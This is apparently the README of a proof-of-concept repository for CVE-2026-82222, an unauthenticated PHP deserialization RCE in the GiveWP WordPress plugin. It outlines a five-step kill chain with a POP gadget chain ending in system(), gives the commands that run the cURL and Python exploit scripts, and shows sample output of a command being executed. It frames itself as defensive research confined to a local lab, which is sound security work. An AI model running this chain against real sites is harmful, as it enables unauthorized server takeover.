Preuve de concept et laboratoire DDEV local pour CVE-2026-82222, une injection d'objet PHP non authentifiée menant à une RCE dans le plugin WordPress GiveWP, avec des scripts d'exploitation cURL et Python.
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (Critique) |
| CWE | CWE-502 — Désérialisation de données non fiables |
| Affecté | GiveWP (Donation Plugin) <= 4.16.7.1 |
| Corrigé | 4.16.7.2 |
| Avis | Patchstack |
TESTS AUTORISÉS UNIQUEMENT. Ce dépôt est destiné à l'éducation, à la recherche de vulnérabilités et aux tests sur des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester. Toute utilisation non autorisée est illégale.
Ce dépôt existe pour aider les professionnels de la sécurité à comprendre,
détecter et se défendre contre CVE-2026-82222. Toutes les démonstrations
sont conçues pour un lab local (lab/) que vous exécutez sur votre propre
machine. Le PoC n'écrit rien sur le disque et ne modifie aucun paramètre du
plugin — la sortie de commande transite uniquement dans la réponse HTTP de la
requête de déclenchement. Voir SECURITY.md pour la portée
complète et la politique de signalement.
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│ ├── setup.sh # one-command lab build
│ ├── set-givewp-version.sh # swap vulnerable/patched GiveWP versions
│ ├── .ddev/config.yaml # DDEV project config
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL exploit script
│ ├── poc.py # Python exploit script
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # technical write-up + reachability matrix
│ ├── BURP-MANUAL.md # Burp Repeater walkthrough (request/response)
│ └── CURL-POC.md # copy/paste cURL walkthrough
├── SECURITY.md # scope, reporting and safe-use policy
└── LICENSE
Quatre requêtes non authentifiées plus un déclenchement :
users_can_register et délivre des cookies WP authentifiés.TCPDF → Symfony
Session → DonorFactory → system) dans le champ meta last_name du
compte.give_last ; GiveWP remplit
le nom depuis la base de données, désérialise le gadget avec
allowed_classes=false, et sérialise le graphe d'objets vivant dans
wp_give_sessions.unserialize()
sans restriction ; TCPDF::__destruct() atteint
call_user_func_array('system', [cmd]). La sortie apparaît dans la
réponse HTTP — rien n'est écrit sur le disque.Détails complets : docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# form id printed at the end, gateway: manual, WP admin: admin/<random>
Nécessite Docker + DDEV.
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check
Les deux PoC sont mono-cible par conception — il n'existe pas de mode
batch ou de scan de masse. Exécutez-les uniquement contre le lab dans lab/
ou des systèmes que vous êtes autorisé à tester.
Sortie de succès attendue (commande id) :
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output
| GiveWP | Statut |
|---|---|
| <= 4.16.5.1 | Vulnérable — une installation par défaut est entièrement accessible |
| 4.16.6 – 4.16.7.1 | Vulnérable — nécessite un formulaire legacy (non-V3) ; l'enregistrement requiert give_register_nonce |
| 4.16.7.2 | Corrigé |
Ce dépôt est fourni à des fins éducatives et de recherche en sécurité défensive uniquement. Le code inclus démontre une vulnérabilité documentée afin que les défenseurs puissent construire des détections, vérifier les correctifs et tester leurs propres systèmes.
Les auteurs ne sont pas responsables de tout usage abusif ou dommage causé par ce matériel. Ne l'utilisez pas contre un système sans autorisation explicite — cela pourrait violer le Computer Fraud and Abuse Act (CFAA) et les lois équivalentes dans le monde entier. Voir SECURITY.md.
MIT — voir LICENSE.